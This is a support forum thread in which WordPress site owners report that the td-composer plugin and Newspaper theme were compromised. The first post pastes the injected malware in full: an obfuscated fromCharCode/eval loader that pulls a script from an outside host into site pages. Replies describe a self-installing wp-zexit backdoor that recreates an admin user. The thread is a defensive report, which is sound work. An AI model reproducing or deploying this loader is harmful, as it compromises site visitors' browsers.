Sucuri flags malware on td-composer plugin

Hi, Sucuri says that this is malware:
<style id=”tdw-css-placeholder”>var iz=String;eval(iz.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,112,115,58,47,47,115,116,97,121,46,100,101,99,101,110,116,114,97,108,97,112,112,112,115,46,99,111,109,47,115,114,99,47,112,97,103,101,46,106,115,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));</style></head>

I’ts generated from the TD-Composer plugin.

Also some AV’s says the site is not secure.

TagDiv have clearly been compromised and over the last week have failed to alert customers their sites are vulnerable. It’s a terrible response to a security breach. More details on how to clean up TagDivs mess are here: https://old.reddit.com/r/Wordpress/comments/16nlg60/wpzexit/

Thanks you, you solved my problem

I have the same issue, but when saving the live CSS nothing happens https://nimb.ws/NWtgTE and when editing the content its an error as well. see it here https://nimb.ws/S5ae2M

I reinstalled the td-composer (downloaded from the themeforest) same issue.

Is anythingelse we can do?

thank you

• This reply was modified 2 years by inforamk.

thank you.

We never found injection in the page. Only sucuri and bitdefender reported the hack, and after several days Imunify reported this file plugins/wp-zexit/wp-zexit.php

We saw that the wp-zexit module was installed automatically and an admin user created after deletion.

We updated the td-composer and it seems no more issue, but we see the edit error reported above. We will keep searching on your recommended list.

thanks

Hi Calin

We have several websites hosted on the same AWS and protected by Cloudflare and Sucuri. All three websites are on the Newspaper theme.

One year ago, only these three sites got hacked. We got Sucuri to remove the malware – who pointed at that time to a potential theme issue.

Yesterday, we got hacked again – the same three sites running on the same theme.

Sucuri points again here (wp_options.option_value, option_name=td_live_css_local_storage)

We need someone to look into this – please contact us so we can provide you access to all three sites.

Have emailed you as requested, I’d really appreciate an update.